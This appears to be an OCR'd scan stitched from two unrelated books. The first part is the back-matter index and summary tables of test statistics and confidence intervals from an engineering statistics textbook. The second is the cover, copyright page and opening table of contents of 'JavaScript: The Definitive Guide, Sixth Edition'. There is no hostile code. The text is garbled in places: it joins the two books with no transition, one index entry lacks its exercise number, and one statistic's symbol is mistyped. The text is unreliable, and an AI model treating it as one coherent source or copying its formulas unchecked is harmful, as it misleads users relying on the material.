LIFE AND FAILURE TIMES

Assembly and components — Example 5-14
Exercises 4-103, 4-83, 5-82
Batteries — Example 6-7
Exercises 9-43, 9-93, 14-3

Censored components Exercise 7-76
CPU Example 4-23
Exercises 4-129, 4-167
Door latch Exercise 8-8
Electronic amplifier Exercise 4-184
Light bulb Exercises 8-14, 8-16, 8-17
Machine Exercise 7-50
Magnetic resonance imaging machine Exercise 4-149
Packaged magnetic disk Exercise 4-148
Recirculating pump Exercise 4-163
Semiconductor laser Exercises 4-69, 4-143, 4-176
Voltage regulators Exercise 4-96
Yarn Exercise 6-100

LENGTH OF

Computer cable Exercise 4-34
Door casing Exercise 5-60
Hinge Exercise 4-8
Injection-molded plastic case Exercise 4-157
Keyway depth Exercise 16-91
Metal rod Exercises 4-11, 4-21
Panels Exercise 5-85
Plate glass parts Exercise 3-68
Punched part Exercise 5-56

THICKNESS OF

Aluminum cylinders Exercise 4-57
Coatings Exercises 3-66, 4-35
Flange Exercise 4-41
Halves Exercise
Ink layers Example 5-18
Exercises 5-49, 5-59
Laminated covering Exercise 4-173
Layers and error propagation Examples 5-31, 5-91, 5-92
Parts Exercises 5-66, 15-11, 15-57
Photoconductor and photo resist film Exercises 4-43, 10-22, 10-64
Plastic connector Examples 2-2, 2-7
Wood paneling Exercises 3-10, 3-42

WEIGHT OF

Adobe bricks Exercises 5-27, 5-84
Candy Exercises 5-86, 7-49
Chemical herbicide Exercises 4-9, 4-36, 4-40
Components Exercises 5-65, 5-88
Measured by a digital scale Exercise 2-21
Paper Exercises 8-51, 9-78
Running shoes Exercise 4-71
Sample and measurement error Exercise 4-72

Summary of One-Sample Hypothesis-Testing Procedures

Case	Null Hypothesis	Test Statistic	Alternative Hypothesis	Fixed Significance Level Criteria for Rejection	P-value	O.C. Curve Parameter	O.C. Curve Appendix Chart VII
1.	H_0: $\mu = \mu_0$ σ^2 known	$z_0 = \dfrac{\bar{x} - \mu_0}{\sigma/\sqrt{n}}$	H_1: $\mu \neq \mu_0$ H_1: $\mu > \mu_0$ H_1: $\mu < \mu_0$	$\lvert z_0 \rvert > z_{\alpha/2}$ $z_0 > z_\alpha$ $z_0 < -z_\alpha$	$P = 2[1 - \Phi(z_0)]$ Probability above z_0 $P = 1 - \Phi(z_0)$ Probability below z_0 $P = \Phi(z_0)$	$d = \lvert\mu - \mu_0\rvert/\sigma$ $d = (\mu - \mu_0)/\sigma$ $d = (\mu_0 - \mu)/\sigma$	a, b c, d c, d
2.	H_0: $\mu = \mu_0$ σ^2 unknown	$t_0 = \dfrac{\bar{x} - \mu_0}{s/\sqrt{n}}$	H_1: $\mu \neq \mu_0$ H_1: $\mu > \mu_0$ H_1: $\mu < \mu_0$	$\lvert t_0 \rvert > t_{\alpha/2,\, n-1}$ $t_0 > t_{\alpha, n-1}$ $t_0 < -t_{\alpha, n-1}$	Sum of the probability above $\lvert t_0 \rvert$ and below $-\lvert t_0 \rvert$ Probability above t_0 Probability below t_0	$d = \lvert\mu - \mu_0\rvert/\sigma$ $d = (\mu - \mu_0)/\sigma$ $d = (\mu_0 - \mu)/\sigma$	e, f g, h g, h
3.	H_0: $\sigma^2 = \sigma_0^2$	$x_0^2 = \dfrac{(n-1)s^2}{\sigma_0^2}$	H_1: $\sigma^2 \neq \sigma_0^2$ H_1: $\sigma^2 > \sigma_0^2$ H_1: $\sigma^2 < \sigma_0^2$	$\chi_0^2 > \chi^2_{\alpha/2, n-1}$ or $\chi_0^2 < \chi^2_{1-\alpha/2, n-1}$ $\chi_0^2 > \chi^2_{\alpha, n-1}$ $\chi_0^2 < \chi^2_{1-\alpha, n-1}$	See text Section 9.4.	$\lambda = \sigma/\sigma_0$ $\lambda = \sigma/\sigma_0$ $\lambda = \sigma/\sigma_0$	i, j k, l m, n
4.	H_0: $p = p_0$	$z_0 = \dfrac{x - np_0}{\sqrt{np_0(1-p_0)}}$	H_1: $p \neq p_0$ H_1: $p > p_0$ H_1: $p < p_0$	$\lvert z_0 \rvert > z_{\alpha/2}$ $z_0 > z_\alpha$ $z_0 < -z_\alpha$	$P = 2[1 - \Phi(z_0)]$ Probability above z_0 $P = 1 - \Phi(z_0)$ Probability below z_0 $P = \Phi(z_0)$	— — —	— — —

Summary of One-Sample Confidence Interval Procedures

Case	Problem Type	Point Estimate	Two-sided $100(1 - \alpha)$ Percent Confidence Interval
1.	Mean μ, variance σ^2 known	$\bar{x}$	$\bar{x} - z_{\alpha/2}\sigma/\sqrt{n} \leq \mu \leq \bar{x} + z_{\alpha/2}\sigma/\sqrt{n}$
2.	Mean μ of a normal distribution, variance σ^2 unknown	$\bar{x}$	$\bar{x} - t_{\alpha/2,\, n-1}\, s/\sqrt{n} \leq \mu \leq \bar{x} + t_{\alpha/2, n-1}\, s/\sqrt{n}$
3.	Variance σ^2 of a normal distribution	s^2	$\dfrac{(n-1)s^2}{\chi^2_{\alpha/2, n-1}} \leq \sigma^2 \leq \dfrac{(n-1)s^2}{\chi^2_{1-\alpha/2, n-1}}$
4.	Proportion or parameter of a binomial distribution p	$\hat{p}$	$\hat{p} - z_{\alpha/2}\sqrt{\dfrac{\hat{p}(1-\hat{p})}{n}} \leq p \leq \hat{p} + z_{\alpha/2}\sqrt{\dfrac{\hat{p}(1-\hat{p})}{n}}$

Summary of Two-Sample Hypothesis-Testing Procedures

Case	Null Hypothesis	Test Statistic	Alternative Hypothesis	Fixed Significance Level Criteria for Rejection	P-value	O.C. Curve Parameter	O.C. Curve Appendix Chart VII
1.	H_0: $\mu_1 - \mu_2 = \Delta_0$ σ_1^2 and σ_2^2 known	$z_0 = \dfrac{\bar{x}_1 - \bar{x}_2 - \Delta_0}{\sqrt{\dfrac{\sigma_1^2}{n_1} + \dfrac{\sigma_2^2}{n_2}}}$	H_1: $\mu_1 - \mu_2 \neq \Delta_0$	$\lvert z_0 \rvert > z_{\alpha/2}$	$P = 2[1 - \Phi(z_0)]$	$d = \dfrac{\lvert \mu_1 - \mu_2 - \Delta_0 \rvert}{\sqrt{\sigma_1^2 + \sigma_2^2}}$	a, b
			H_1: $\mu_1 - \mu_2 > \Delta_0$	$z_0 > z_\alpha$	Probability above z_0 $P = 1 - \Phi(z_0)$	$d = \dfrac{\mu_1 - \mu_2 - \Delta_0}{\sqrt{\sigma_1^2 + \sigma_2^2}}$	c, d
			H_1: $\mu_1 - \mu_2 < \Delta_0$	$z_0 < -z_\alpha$	Probability below z_0 $P = \Phi(z_0)$	$d = \dfrac{\mu_2 - \mu_1 - \Delta_0}{\sqrt{\sigma_1^2 + \sigma_2^2}}$	c, d
2.	H_0: $\mu_1 - \mu_2 = \Delta_0$ $\sigma_1^2 = \sigma_2^2$ unknown	$t_0 = \dfrac{\bar{x}_1 - \bar{x}_2 - \Delta_0}{s_p\sqrt{\dfrac{1}{n_1} + \dfrac{1}{n_2}}}$	H_1: $\mu_1 - \mu_2 \neq \Delta_0$	$\lvert t_0 \rvert > t_{\alpha/2, n_1+n_2-2}$	Sum of the probability above $\lvert t_0 \rvert$ and below $-\lvert t_0 \rvert$	$d = \lvert \Delta - \Delta_0 \rvert / 2\sigma$	e, f
			H_1: $\mu_1 - \mu_2 > \Delta_0$	$t_0 > t_{\alpha, n_1+n_2-2}$	Probability above t_0	$d = (\Delta - \Delta_0)/2\sigma$	g, h
			H_1: $\mu_1 - \mu_2 < \Delta_0$	$t_0 < -t_{\alpha, n_1+n_2-2}$	Probability below t_0	$d = (\Delta_0 - \Delta)/2\sigma$ where $\Delta = \mu_1 - \mu_2$	g, h
3.	H_0: $\mu_1 - \mu_2 = \Delta_0$ $\sigma_1^2 \neq \sigma_2^2$ unknown	$t_0 = \dfrac{\bar{x}_1 - \bar{x}_2 - \Delta_0}{\sqrt{\dfrac{s_1^2}{n_1} + \dfrac{s_2^2}{n_2}}}$ $v = \dfrac{\left(\dfrac{s_1^2}{n_1} + \dfrac{s_2^2}{n_2}\right)^2}{\dfrac{(s_1^2/n_1)^2}{n_1 - 1} + \dfrac{(s_2^2/n_2)^2}{n_2 - 1}}$	H_1: $\mu_1 - \mu_2 \neq \Delta_0$	$\lvert t_0 \rvert > t_{\alpha/2, v}$	Sum of the probability above $\lvert t_0 \rvert$ and below $-\lvert t_0 \rvert$	—	—
			H_1: $\mu_1 - \mu_2 > \Delta_0$	$t_0 > t_{\alpha, v}$	Probability above t_0	—	—
			H_1: $\mu_1 - \mu_2 < \Delta_0$	$t_0 < -t_{\alpha, v}$	Probability below t_0	—	—
4.	Paired data H_0: $\mu_D = 0$	$t_0 = \dfrac{\bar{d}}{s_d/\sqrt{n}}$	H_1: $\mu_d \neq 0$	$\lvert t_0 \rvert > t_{\alpha/2, n-1}$	Sum of the probability above $\lvert t_0 \rvert$ and below $-\lvert t_0 \rvert$	—	—
			H_1: $\mu_d > 0$	$t_0 > t_{\alpha, n-1}$	Probability above t_0	—	—
			H_1: $\mu_d < 0$	$t_0 < -t_{\alpha, n-1}$	Probability below t_0	—	—
5.	H_0: $\sigma_1^2 = \sigma_2^2$	$f_0 = s_1^2/s_2^2$	H_1: $\sigma_1^2 \neq \sigma_2^2$	$f_0 > f_{\alpha/2, n_1-1, n_2-1}$ or $f_0 < f_{1-\alpha/2, n_1-1, n_2-1}$	See text Section 10-5.2.	$\lambda = \sigma_1/\sigma_2$	o, p
			H_1: $\sigma_1^2 > \sigma_2^2$	$f_0 > f_{\alpha, n_1-1, n_2-1}$		$\lambda = \sigma_1/\sigma_2$	q, r
6.	H_0: $p_1 = p_2$	$z_0 = \dfrac{\hat{p}_1 - \hat{p}_2}{\sqrt{\hat{p}(1 - \hat{p})\left[\dfrac{1}{n_1} + \dfrac{1}{n_2}\right]}}$	H_1: $p_1 \neq p_2$	$\lvert z_0 \rvert > z_{\alpha/2}$	$P = 2[1 - \Phi(z_0)]$	—	—
			H_1: $p_1 > p_2$	$z_0 > z_\alpha$	Probability above z_0 $P = 1 - \Phi(z_0)$	—	—
			H_1: $p_1 < p_2$	$z_0 < -z_\alpha$	Probability below z_0 $P = \Phi(z_0)$	—	—

Summary of Two-Sample Confidence Interval Procedures

Case	Problem Type	Point Estimate	Two-Sided $100(1-\alpha)$ Percent Confidence Interval
1.	Difference in two means μ_1 and μ_2, variances σ_1^2 and σ_2^2 known	$\bar{x}_1 - \bar{x}_2$	$\bar{x}_1 - \bar{x}_2 - z_{\alpha/2}\sqrt{\frac{\sigma_1^2}{n_1} + \frac{\sigma_2^2}{n_2}} \le \mu_1 - \mu_2$ $\le \bar{x}_1 - \bar{x}_2 + z_{\alpha/2}\sqrt{\frac{\sigma_1^2}{n_1} + \frac{\sigma_2^2}{n_2}}$
2.	Difference in means of two normal distributions $\mu_1 - \mu_2$, variances $\sigma_1^2 = \sigma_2^2$ and unknown	$\bar{x}_1 - \bar{x}_2$	$\bar{x}_1 - \bar{x}_2 - t_{\alpha/2,n_1+n_2-2}s_p\sqrt{\frac{1}{n_1} + \frac{1}{n_2}} \le \mu_1 - \mu_2$ $\le \bar{x}_1 - \bar{x}_2 + t_{\alpha/2,n_1+n_2-2}s_p\sqrt{\frac{1}{n_1} + \frac{1}{n_2}}$ where $s_p = \sqrt{\frac{(n_1-1)s_1^2 + (n_2-1)s_2^2}{n_1+n_2-2}}$
3.	Difference in means of two normal distributions $\mu_1 - \mu_2$, variances $\sigma_1^2 \ne \sigma_2^2$ and unknown	$\bar{x}_1 - \bar{x}_2$	$\bar{x}_1 - \bar{x}_2 - t_{\alpha/2,v}\sqrt{\frac{s_1^2}{n_1} + \frac{s_2^2}{n_2}} \le \mu_1 - \mu_2$ $\le \bar{x}_1 - \bar{x}_2 + t_{\alpha/2,v}\sqrt{\frac{s_1^2}{n_1} + \frac{s_2^2}{n_2}}$ where $v = \frac{(s_1^2/n_1 + s_2^2/n_2)^2}{\frac{(s_1^2/n_1)^2}{n_1-1} + \frac{(s_2^2/n_2)^2}{n_2-1}}$
4.	Difference in means of two normal distributions for paired samples $\mu_0 = \mu_1 - \mu_2$	$\bar{d}$	$\bar{d} - t_{\alpha/2,n-1}s_d/\sqrt{n} \le \mu_D \le \bar{d} + t_{\alpha/2,n-1}s_d/\sqrt{n}$
5.	Ratio of the variances σ_1^2/σ_2^2 of two normal distributions	$\frac{s_1^2}{s_2^2}$	$\frac{s_1^2}{s_2^2} f_{1-\alpha/2,n_2-1,n_1-1} \le \frac{\sigma_1^2}{\sigma_2^2} \le \frac{s_1^2}{s_2^2} f_{\alpha/2,n_2-1,n_1-1}$ where $f_{1-\alpha/2,n_2-1,n_1-1} = \frac{1}{f_{\alpha/2,n_1-1,n_2-1}}$
6.	Difference in two proportions of two binominal parameters $p_1 - p_2$	$\hat{p}_1 - \hat{p}_2$	$\hat{p}_1 - \hat{p}_2 - z_{\alpha/2}\sqrt{\frac{\hat{p}_1(1-\hat{p}_1)}{n_1} + \frac{\hat{p}_2(1-\hat{p}_2)}{n_2}}$ $\le p_1 - p_2 \le \hat{p}_1 - \hat{p}_2 + z_{\alpha/2}\sqrt{\frac{\hat{p}_1(1-\hat{p}_1)}{n_1} + \frac{\hat{p}_2(1-\hat{p}_2)}{n_2}}$

Index of Applications in Examples and Exercises

BIOLOGICAL

Amino acid composition of soybean meal — Exercise 8-52
Anaerobic respiration — Exercise 2-144
Blood
  Cholesterol level — Exercise 15-10
  Glucose level — Exercises 13-25, 14-37
  Hypertension — Exercises 4-143, 8-31, 11-8, 11-30, 11-46
Body mass index (BMI) — Exercise 11-35
Body temperature — Exercise 9-59
Cellular replication — Exercises 2-193, 3-100
Circumference of orange trees — Exercise 10-46
Deceased beetles under autolysis and putrefaction — Exercise 2-92
Diet and weight loss — Exercises 10-43, 10-77, 15-35
Disease in plants — Exercise 14-76
Dugongs (sea cows) length — Exercise 11-15
Fatty acid in margarine — Exercises 8-36, 8-66, 8-76, 9-147, 9-113
Gene expression — Exercises 6-65, 13-50, 15-42
Gene occurrence — Exercises 2-195, 3-11
Gene sequences — Exercises 2-25, 2-192, 3-13, 3-147
Grain quality — Exercise 8-21
Height of plants — Exercises 4-170, 4-171
Height or weight of people — Exercises 4-44, 4-66, 5-64, 6-30, 6-37, 6-46, 6-63, 6-73, 9-68
Insect fragments in chocolate bars — Exercises 3-134, 4-101
IQ for monozygotic twins — Exercise 10-45
Leaf transmutation — Exercises 2-88, 3-123
Leg strength — Exercises 8-30, 9-64
Light-dependent photosynthesis — Exercise 2-24
Nisin recovery — Exercises 12-14, 12-32, 12-50, 12-64, 12-84, 14-83
Pesticides and grape infestation — Exercise 10-94
Potato spoilage — Exercise 13-14
Protein
  in Livestock feed — Exercise 14-75
  in Milk — Exercises 13-13, 13-25, 13-33
  from Peanut milk — Exercise 9-143
Protopectin content in tomatoes — Exercises 13-40, 15-40
Rat muscle — Exercise 6-15
Rat tumors — Exercise 8-50
Rat weight — Exercise 8-57
Rejuvenated mitochondria — Exercises 2-96, 3-88
Root vole population — Exercise 14-16
Sodium content of cornflakes — Exercise 9-61
Soil — Exercises 3-24, 12-1, 12-2, 12-23, 12-24, 12-41, 12-42
Splitting cell — Exercise 4-155
St John's Wort — Example 10-14
Stork sightings — Exercises 4-100, 11-96
Sugar content — Exercises 8-46, 9-83, 9-114
Synapses in the granule cell layer — Exercise 9-145
Tar content in tobacco — Exercise 8-95
Taste evaluation — Exercises 14-13, 14-31, 14-34, 14-50, 14-54
Tissues from an ivy plant — Exercise 2-130
Visual accommodation — Exercises 6-11, 6-16, 6-75
Weight of swine or guinea pigs — Exercises 9-142, 13-48
Wheat grain drying — Exercises 13-47, 15-41

CHEMICAL

Acid-base titration — Exercises 2-60, 2-132, 3-12, 5-48
Alloys — Examples 6-4, 8-5 Exercises 10-21, 10-44, 10-59, 13-38, 15-17
Contamination — Exercise 2-128, 4-113
Cooking oil — Exercise 2-79
Etching — Exercises 10-19, 10-65, 10-34
Infrared focal plane arrays — Exercise 9-146
Melting point of a binder — Exercise 9-42
Metallic material transition — Examples 8-1, 8-2
Moisture content in raw material — Exercise 3-6
Mole fraction solubility — Exercises 12-75, 12-91
Mole ratio of sebacic acid — Exercise 11-91
Pitch carbon analysis — Exercises 12-10, 12-36, 12-50, 12-60, 12-68
Plasma etching — Examples 14-5, 14-8 Exercise 7-32
Polymers — Exercises 7-15, 10-8, 13-12, 13-24
Propellant
  Bond shear strength — Examples 15-1, 15-2, 15-4 Exercises 11-11, 11-31, 11-49, 15-32
  Burning rate — Examples 9-1, 9-2, 9-3, 9-4, 9-5 Exercise 10-6

Purity Exercise 15-42
Thermal barrier coatings Exercise 10-75

CHEMICAL ENGINEERING

Aluminum smelting Exercise 10-92
Automobile basecoat Exercises 14-56, 14-68
Blow molding Exercise 16-59
Catalyst usage Exercise 10-17
Concentration Examples 16-2, 16-6 Exercises 5-46, 6-68, 6-84, 10-9, 10-54, 15-64
Conversion Exercise 12-3
Cooling system in a nuclear submarine Exercise 9-130
Copper content of a plating bath Exercises 15-8, 15-34, 15-58
Dispensed syrup in soda machine Exercises 8-29, 8-63, 8-75
Dry ash value of paper pulp Exercise 14-57
Fill volume and capability Examples 5-35, 8-6, 9-8, 9-9 Exercises 2-180, 3-146, 3-151, 4-62, 4-63, 5-62, 9-100, 10-4, 10-85, 10-90, 14-43, 15-38
Filtration rate Exercise 14-44
Fish preparation Exercise 13-46
Flow metering devices Examples 15-3, 15-5 Exercises 9-126, 9-127
Foam expanding agents Exercises 10-16, 10-56, 10-88
Green liquor Exercise 12-100
Hardwood concentration Example 13-2 Exercise 14-11
Impurity level in chemical product Exercises 15-3, 15-15
Injection molding Example 14-9 Exercises 2-15, 2-137, 10-70
Laboratory analysis of chemical process samples Exercise 2-43
Maximum heat of a hot tub Exercise 10-33
Na_2S concentration Exercises 11-7, 11-29, 11-41, 11-62
$NbOCl_3$ Exercise 6-36
Oxygen purity Examples 11-1, 11-2, 11-3, 11-4, 11-5, 11-6, 11-7
pH
  and Catalyst concentration Exercise 14-61
  of Plating bath Exercises 15-1, 15-13
  of a Solution Exercise 6-17
  of a Water sample Exercise 2-11
Product color Exercise 14-45
Product solution strength in recirculation unit Exercise 14-38
Pulp brightness Exercise 13-31
Reaction Time Example 4-5 Exercises 2-13, 2-33, 4-56
Redox reaction experiments Exercise 2-65
Shampoo foam height Exercises 8-91, 9-15, 9-16, 9-17, 9-18, 9-19, 9-128
Stack loss of ammonia Exercises 12-16, 12-34, 12-52, 12-66, 12-85
Temperature
  Firing Exercise 13-15
  Furnace Exercises 6-55, 6-109
  of Hall cell solution Exercise 11-92
Vapor deposition Exercises 13-28, 13-32
Vapor phase oxidation of naphthalene Exercise 6-54
Viscosity Exercises 6-66, 6-88, 6-90, 6-96, 12-73, 12-103, 14-64, 15-20, 15-36, 15-86
Water temperature from power plant cooling tower Exercise 9-40
Water vapor pressure Exercise 11-78
Wine Examples 12-14, 12-15 Exercises 6-35, 6-51

CIVIL ENGINEERING

Cement and Concrete
  Hydration Example 10-8
  Mixture heat Exercises 9-10, 9-11, 9-12, 9-13, 9-14
  Mortar briquettes Exercise 15-79
  Strength Exercises 4-57, 15-24
  Tensile strength Exercise 15-25
  Compressive strength Exercises 13-3, 13-9, 13-19, 14-14, 14-24, 14-48, 7-7, 7-8, 8-13, 8-18, 8-37, 8-69, 8-80, 8-87, 8-90, 15-5
Intrinsic permeability Exercises 11-1, 11-23, 11-39, 11-52
Highway pavement cracks Exercise 3-138, 4-102
Pavement deflection Exercises 11-2, 11-16, 11-24, 11-40
Retained strength of asphalt Exercises 13-11,13-23
Speed limits Exercises 8-59, 10-60
Traffic Exercises 3-87, 3-149, 3-153, 9-190
Wearing seat belts Exercises 10-82, 10-83

COMMUNICATIONS, COMPUTERS, AND NETWORKS

Cell phone signal bars Examples 5-1, 5-3
Cellular neural network speed Exercise 8-39
Code for a wireless garage door Exercise 2-34
Computer clock cycles Exercise 3-8
Computer networks Example 4-21 Exercises 2-10, 2-64, 2-164, 3-148, 3-175, 4-65, 4-94
Corporate Web site errors Exercise 4-84
Digital channel Examples 2-3, 3-4, 3-6, 3-9, 3-12, 3-16, 3-24, 4-15, 5-7, 5-9, 5-10
Electronic messages Exercises 3-158, 4-98, 4-115
Email routes Exercise 2-184
Encryption-decryption system Exercise 2-181
Errors in a communications channel Examples 3-22, 4-17, 4-20 Exercises 2-2, 2-4, 2-46, 3-40, 4-116, 5-5, 5-12, 6-94, 9-135
Passwords Exercises 2-81, 2-97, 2-194, 3-91, 3-108
Programming design languages Exercise 10-40
Response time in computer operation system Exercise 8-82
Software development cost Exercise 13-49
Telecommunication prefixes Exercise 2-45
Telecommunications Examples 3-1, 3-14 Exercises 2-17, 3-2, 3-85, 3-105, 3-132, 3-155, 4-95, 4-105, 4-111, 4-117, 4-160, 5-78, 9-98, 15-9
Transaction processing performance and OLTP benchmark Exercises 2-68, 2-175, 5-10, 5-34, 10-7
Viruses Exercise 3-75
Web browsing Examples 3-25, 5-12, 5-13 Exercises 2-32, 2-191, 3-159, 4-87, 4-140, 5-6

ELECTRONICS

Automobile engine controller — Examples 9-10, 9-11
Bipolar transistor current — Exercise 14-7
Calculator circuit response — Exercises 13-6, 13-18
Circuits — Examples 2-35, 7-3
Exercises 2-135, 2-136, 2-170, 2-177, 2-190
Conductivity — Exercise 12-105
Current — Examples 4-1, 4-5, 4-8, 4-9, 4-12, 16-3
Exercises 10-31, 15-30
Drain and leakage current — Exercises 13-41, 11-85
Electromagnetic energy absorption — Exercise 10-26
Error recovery procedures — Exercises 2-18, 2-166
Inverter transient point — Exercises 12-98, 12-99, 12-102
Magnetic tape — Exercises 2-189, 3-125
Nickel charge — Exercises 2-61, 3-48
Parallel circuits — Example 2-34
Power consumption — Exercises 6-89, 11-79, 12-6, 12-26, 12-44, 12-58, 12-80
Power supply — Example 9-13
Exercises 2-3, 9-20, 9-21, 9-22, 9-23, 9-24, 9-28
Printed circuit cards — Example 2-10
Exercises 2-42, 3-122
Redundant disk array — Exercise 2-127
Resistors — Example 7-1
Exercise 6-86
Solder connections — Exercises 3-1, 15-43, 15-45
Strands of copper wire — Exercise 2-77
Surface charge — Exercise 14-15
Surface mount technology (SMT) — Example 16-5
Transistor life — Exercise 7-51
Voltage measurement errors — Exercise 4-48N

ENERGY

Consumption in Asia — Exercises 6-29, 6-45, 6-59
Enrichment percentage of reactor fuel rods — Exercises 8-41, 8-71, 8-88
Fuel octane ratings — Exercises 6-22, 6-26, 6-38, 6-42, 6-58, 6-78, 10-7
Gasoline cost by month — Exercise 15-98
Gasoline mileage — Exercises 10-89, 11-6, 11-17, 11-28, 11-44, 11-56, 12-27, 12-55, 12-57, 12-77, 12-89, 15-37
Heating rate index — Exercise 14-46
Petroleum imports — Exercise 6-72
Released from cells — Exercise 2-168
Renewable energy consumption — Exercise 15-78
Steam usage — Exercises 11-5, 11-27, 11-43, 11-55
Wind power — Exercises 4-132, 11-9

ENVIRONMENTAL

Arsenic — Example 10-6
Exercises 12-12, 12-30, 12-48, 12-62, 12-76, 12-88, 13-39
Asbestos — Exercises 4-85, 4-169
Biochemical oxygen demand (BOD) — Exercises 11-13, 11-33, 11-51
Calcium concentration in lake water — Exercise 8-9
Carbon dioxide in the atmosphere — Exercise 3-58
Chloride in surface streams — Exercises 11-10, 11-32, 11-48, 11-59
Cloud seeding — Exercise 9-60
Earthquakes — Exercises 6-63, 9-102, 11-15, 15-46
Emissions and fluoride emissions — Exercises 2-28, 15-34
Global temperature — Exercises 6-83, 11-74
Hydrophobic organic substances — Exercise 10-93
Mercury contamination — Example 8-4
Ocean wave height — Exercise 4-181
Organic pollution — Example 3-18
Oxygen concentration — Exercises 8-94, 9-63, 9-140
Ozone levels — Exercises 2-9, 11-90
Radon release — Exercises 13-8, 13-20
Rainfall in Australia — Exercises 8-33, 8-65, 8-77
Suspended solids in lake water — Exercises 6-32, 6-48, 6-60, 6-80, 9-70
Temperature in Phoenix, AZ — Exercise 8-49
Temperature of sewage discharge — Exercises 6-92, 6-97
Voters and air pollution — Exercises 9-27, 9-94
Waste water treatment tank — Exercise 2-37
Water demand and quality — Exercises 4-68, 9-137
Watershed yield — Exercise 11-70

MATERIALS

Baked density of carbon anodes — Exercise 14-4
Ceramic substrate — Example 16-4
Coating temperature — Exercises 10-24, 10-60
Coating weight and surface roughness — Exercise 2-90
Compressive strength — Exercises 7-56, 11-60
Flow rate on silicon wafers — Exercises 13-2, 13-16, 15-28
Insulation ability — Exercise 14-5
Insulation fluid breakdown time — Exercises 6-8, 6-74
Izod impact test — Exercises 8-28, 8-62, 8-74, 9-66, 9-80
Luminescent ink — Exercise 5-28
Paint drying time — Examples 10-1, 10-2, 10-3
Exercises 14-2, 14-19, 15-8, 15-16
Particle size — Exercises 4-33, 16-17
Photoresist thickness — Exercise 5-63
Plastic breaking strength — Exercises 10-5, 10-20, 10-55
Polycarbonate plastic — Example 2-8
Exercises 2-66, 2-76
Rockwell hardness — Exercises 10-91, 9-115, 15-17
Temperature of concrete — Exercise 9-58
Tensile strength of
Aluminum — Example 10-4
Fiber — Exercises 7-3, 7-4, 13-3, 13-17
Steel — Example 10-9
Exercise 9-44
Paper — Example 13-1
Exercises 4-154, 11-86
Titanium content — Exercises 8-47, 9-79, 15-2, 15-12
Tube brightness in TV sets — Exercises 7-12, 8-35, 8-67, 8-79, 9-148, 9-67, 14-1

MECHANICAL

Aircraft manufacturing — Examples 6-6, 12-12, 14-1, 15-6, 16-1 Exercises 6-8, 8-97, 10-42, 15-31, 15-13, 15-74
Artillery shells — Exercise 9-106
Beam delamination — Exercises 8-32, 8-64
Bearings — Examples 8-7, 8-8
Exercise 9-95
Diameter — Exercises 4-181, 9-42, 15-6, 15-14
Wear — Example 4-25
Exercises 5-22, 4-127, 12-19, 12-39, 12-45, 12-67

(Text continued at the back of book.)

Activate Your Web Pages

6th Edition

Covers ECMAScript 5 & HTML5

JavaScript

The Definitive Guide

O'REILLY®

David Flanagan

JavaScript: The Definitive Guide

This book is a programmer's guide and comprehensive reference to the core JavaScript language and to the client-side JavaScript APIs defined by web browsers.

The sixth edition covers HTML5 and ECMAScript 5. Many chapters have been completely rewritten to bring them in line with today's best web development practices. New chapters in this edition document jQuery and server-side JavaScript.

Recommended for experienced programmers who want to learn the programming language of the Web, and for current JavaScript programmers who want to master it.

David Flanagan is also the author of *The Ruby Programming Language*, *Java in a Nutshell*, and *JavaScript Pocket Reference*.

Previous programming experience is recommended.

The Essential JavaScript Reference

Since 1996, *JavaScript: The Definitive Guide* has been the bible for JavaScript programmers. With more than 500,000 copies in print, web developers are still raving about it:

"A must-have reference for expert JavaScript programmers...well-organized and detailed."

—Brendan Eich
creator of JavaScript, CTO of Mozilla

"I made a career of what I learned from JavaScript: The Definitive Guide*."*

—Andrew Hedges
Tapulous

"The Definitive Guide *taught me JavaScript."*

—Tom Robinson
cofounder of 280 North, cocreator of Cappuccino

"I know which parts of JavaScript matter, based on how crinkled the spine of my copy of The Definitive Guide *is in that section."*

—J. Chris Anderson
cofounder of CouchBase, Apache CouchDB committer, and author of CouchDB: The Definitive Guide

"...an indispensable reference for all JavaScript developers. If there's something I need to know about JavaScript, I trust The Definitive Guide *will have the right answer for me. It's that good."*

—Rey Bango
Microsoft Client-Web Community Program Manager and jQuery Team member

---

US $49.99 **CAN $57.99**
ISBN: 978-0-596-80552-4

Twitter: @oreillymedia
facebook.com/oreilly

O'REILLY®
oreilly.com

JavaScript: The Definitive Guide

Download from Wow! eBook <www.wowebook.com>

SIXTH EDITION

JavaScript: The Definitive Guide

David Flanagan

O'REILLY®
Beijing • Cambridge • Farnham • Köln • Sebastopol • Tokyo

JavaScript: The Definitive Guide, Sixth Edition
by David Flanagan

Copyright © 2011 David Flanagan. All rights reserved.
Printed in the United States of America.

Published by O'Reilly Media, Inc., 1005 Gravenstein Highway North, Sebastopol, CA 95472.

O'Reilly books may be purchased for educational, business, or sales promotional use. Online editions are also available for most titles (*http://my.safaribooksonline.com*). For more information, contact our corporate/institutional sales department: (800) 998-9938 or *corporate@oreilly.com*.

Editor: Mike Loukides
Production Editor: Teresa Elsey
Proofreader: Teresa Elsey
Indexer: Ellen Troutman Zaig
Cover Designer: Karen Montgomery
Interior Designer: David Futato
Illustrator: Robert Romano

Printing History:

August 1996:	Beta Edition.
January 1997:	Second Edition.
June 1998:	Third Edition.
January 2002:	Fourth Edition.
August 2006:	Fifth Edition.
March 2011:	Sixth Edition.

Nutshell Handbook, the Nutshell Handbook logo, and the O'Reilly logo are registered trademarks of O'Reilly Media, Inc. *JavaScript: The Definitive Guide*, the image of a Javan rhinoceros, and related trade dress are trademarks of O'Reilly Media, Inc.

Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly Media, Inc., was aware of a trademark claim, the designations have been printed in caps or initial caps.

While every precaution has been taken in the preparation of this book, the publisher and authors assume no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

ISBN: 978-0-596-80552-4

[LSI]

1302719886

This book is dedicated to all who teach peace and resist violence.

Table of Contents

Preface ..... **xiii**

1. Introduction to JavaScript **1**
1.1 Core JavaScript 4
1.2 Client-Side JavaScript 8

Part I. Core JavaScript

2. Lexical Structure **21**
2.1 Character Set 21
2.2 Comments 23
2.3 Literals 23
2.4 Identifiers and Reserved Words 23
2.5 Optional Semicolons 25

3. Types, Values, and Variables **29**
3.1 Numbers 31
3.2 Text 36
3.3 Boolean Values 40
3.4 null and undefined 41
3.5 The Global Object 42
3.6 Wrapper Objects 43
3.7 Immutable Primitive Values and Mutable Object References 44
3.8 Type Conversions 45
3.9 Variable Declaration 52
3.10 Variable Scope 53

4. Expressions and Operators **57**
4.1 Primary Expressions 57
4.2 Object and Array Initializers 58
4.3 Function Definition Expressions 59

4.4 Property Access Expressions 60
4.5 Invocation Expressions 61
